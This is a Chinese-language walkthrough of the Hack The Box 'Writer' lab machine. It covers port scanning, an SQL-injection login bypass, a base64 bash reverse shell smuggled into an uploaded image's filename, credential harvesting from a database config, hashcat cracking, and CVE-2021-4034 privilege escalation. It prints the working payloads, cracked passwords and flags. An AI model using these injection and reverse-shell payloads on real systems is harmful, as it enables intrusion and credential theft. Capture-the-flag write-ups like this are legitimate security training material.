使用nmap进行信息收集:
发现主要开放22、80、139、445端口。22为ssh服务端口、80为http端口。
先看看80端口。
3.一顿操作以后,并没有什么突破,先做个目录fuzz吧
发现一个未授权页面,没啥利用点先放着。
然后发现有一个administratortive目录,是个登录页面。
使用弱口令组合拳,事实证明并不存在弱口令。
进过不断的测试发现登录页面存在sql注入。利用过程如下:
执行成功 存在注入对比一下这两个的区别,可以发现admin' and 1=1;--+是执行成功了,提示Welecome admin,所以确定存在注入。
最后通过万能密码登录成功:
uname= admin';--+
password = password
经过查看发现该应用存在上传功能不过只能上传图片,然后尝试制作图片码。过程如下:
1.将反弹shell的语句转换为base64格式。
echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.10/9001 0>&1'" | base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC85MDAxIDA+JjEn
2.准备一张图片,这里用的是1.jpg;将图片和木马绑定在一起,生成一个图片马的格式。
touch '1.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC85MDAxIDA+JjEn | base64 -d | bash `;'
3.上传的时候所使用的执行语句。
file:///var/www/writer.htb/writer/static/img/1.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC85MDAxIDA+JjEn | base64 -d | bash `;#
参考:https://www.youtube.com/watch?v=MkvDid7xO7o&ab_channel=IppSec
登录后台后找到登录点。
然后修改一篇文章。
上传我们前面制作的图片马,然后我们使用burp进行抓包,然后再进行修改。
前面发现的未授权页面可以验证我们上传的结果也是上传的路径。
上传成功后,获取到一个www-data权限的shell。
查看home目录,发现kyle下存在一个mysql数据库配置文件。
通过查看数据库配置文件获取到数据库的账号密码:djangouser/DjangoSuperPassword
拿到mysql数据库账号密码,进入数据库拿kyle用户的hash值。
这里说一下拿到shell得先用实现交互式shell不然连接数据库会有问题,我这里用的是python加载pty:
python3 -c 'import pty;pty.spawn("/bin/bash")';
使用hashcat进行爆破获取密码:
hashcat -a 0 -m 10000 1.txt --wordlist rockyou.txt
kyle/marcoantonio
使用ssh登录获取第一个flag:72f32d681c9ea90d669990ea3a72f6b6
权限提升
使用最近新出的liunx提权的新洞进行提权:https://github.com/arthepsy/CVE-2021-4034
获取第二个flag:07319c4ab36d115470eb541bd3190a85
原文始发于微信公众号(Matrix1024):HTB靶场系列之Writer通关攻略
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论